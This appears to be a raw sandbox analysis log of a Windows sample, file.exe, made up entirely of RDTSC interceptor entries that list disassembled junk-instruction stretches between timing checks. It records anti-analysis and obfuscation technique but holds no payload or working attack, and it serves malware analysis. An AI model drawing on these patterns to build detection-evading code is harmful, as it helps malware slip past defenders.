Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C3DF second address: 64C3FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FD4A8CA6750h 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C3FC second address: 64C400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C7A4 second address: 64C7B3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4A8CA6746h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C7B3 second address: 64C7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C7BA second address: 64C7C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C7C2 second address: 64C7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C7C6 second address: 64C7D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CD99 second address: 64CDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop esi 0x0000000a push edi 0x0000000b push eax 0x0000000c jmp 00007FD4A8FBA021h 0x00000011 jmp 00007FD4A8FBA026h 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jmp 00007FD4A8FBA022h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653511 second address: 65352A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6755h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65352A second address: 653530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653530 second address: 653534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653667 second address: 65366D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65366D second address: 653671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653671 second address: 65367C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65367C second address: 6536AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD4A8CA6746h 0x0000000a jmp 00007FD4A8CA6758h 0x0000000f jnl 00007FD4A8CA6746h 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6536AA second address: 6536B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6536B0 second address: 6536BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6536BB second address: 6536BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6536BF second address: 6536C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653942 second address: 65394C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4A8FBA01Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653AD3 second address: 653AF8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4A8CA675Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653AF8 second address: 653AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C41 second address: 653C4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C4C second address: 653C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C51 second address: 653C7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA674Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD4A8CA6759h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C7D second address: 653C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653C81 second address: 653CB1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FD4A8CA674Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD4A8CA6756h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653CB1 second address: 653CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65463B second address: 65463F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65463F second address: 654655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD4A8FBA016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FD4A8FBA037h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654655 second address: 65466C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8CA6753h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654DBD second address: 654DC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654DC3 second address: 654DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654DCD second address: 654DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA029h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654DEA second address: 654E16 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4A8CA6746h 0x00000008 jmp 00007FD4A8CA6759h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654E16 second address: 654E20 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4A8FBA022h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C10A second address: 65C113 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C113 second address: 65C12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA024h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A268 second address: 66A274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD4A8CA6746h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A3B0 second address: 66A3B8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D91E second address: 66D92E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4A8CA6746h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D92E second address: 66D938 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A8FBA016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F5F5 second address: 66F5FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F5FB second address: 66F60D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jne 00007FD4A8FBA016h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675861 second address: 67587B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007FD4A8CA674Ch 0x0000000b push edi 0x0000000c jno 00007FD4A8CA6746h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D271 second address: 67D277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D09E second address: 67D0EE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FD4A8CA6758h 0x00000011 jmp 00007FD4A8CA674Fh 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FD4A8CA6754h 0x0000001d popad 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D0EE second address: 67D0F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6862AE second address: 6862CB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4A8CA6748h 0x00000008 jno 00007FD4A8CA6748h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 js 00007FD4A8CA6750h 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684F09 second address: 684F11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6850AD second address: 6850B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6850B1 second address: 6850B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6850B8 second address: 6850D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8CA6753h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685201 second address: 685207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685207 second address: 68521A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FD4A8CA6746h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68521A second address: 68521E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68521E second address: 685224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6853B8 second address: 6853BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6853BC second address: 685406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FD4A8CA6751h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pushad 0x00000011 push edi 0x00000012 jnc 00007FD4A8CA6746h 0x00000018 pop edi 0x00000019 jmp 00007FD4A8CA6750h 0x0000001e jmp 00007FD4A8CA6751h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685406 second address: 68540C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68540C second address: 685410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685410 second address: 685414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687B51 second address: 687B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6879C3 second address: 6879D7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6879D7 second address: 687A06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6758h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD4A8CA6750h 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A958 second address: 68A962 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A8FBA016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693B40 second address: 693B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1C22 second address: 5A1C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FD4A8FBA016h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7F5B second address: 6A7F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAE48 second address: 6AAE57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A8FBA01Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAE57 second address: 6AAE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAB86 second address: 6AAB93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAB93 second address: 6AAB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD750 second address: 6BD756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD756 second address: 6BD75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BECC1 second address: 6BECC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BECC7 second address: 6BECCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C28BB second address: 6C28C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C28C0 second address: 6C28C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C28C6 second address: 6C28D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA01Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C28D9 second address: 6C2904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA674Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4A8CA6750h 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2E7E second address: 6C2E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2E84 second address: 6C2E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jmp 00007FD4A8CA6751h 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2E9E second address: 6C2EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FD4A8FBA016h 0x00000009 jmp 00007FD4A8FBA01Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3051 second address: 6C3055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3055 second address: 6C3079 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FD4A8FBA027h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3079 second address: 6C30AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push ecx 0x00000008 ja 00007FD4A8CA6746h 0x0000000e jmp 00007FD4A8CA674Eh 0x00000013 pop ecx 0x00000014 pushad 0x00000015 jmp 00007FD4A8CA6754h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3218 second address: 6C321E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C321E second address: 6C322D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A8CA6746h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3349 second address: 6C334E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C334E second address: 6C3355 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4F52 second address: 6C4F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4F58 second address: 6C4F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FD4A8CA674Eh 0x0000000e je 00007FD4A8CA6746h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C67E1 second address: 6C67E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C67E7 second address: 6C67FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jl 00007FD4A8CA6752h 0x0000000d jc 00007FD4A8CA6746h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C67FC second address: 6C6804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6804 second address: 6C6822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6750h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FD4A8CA6746h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6822 second address: 6C6826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6826 second address: 6C6832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6832 second address: 6C6836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
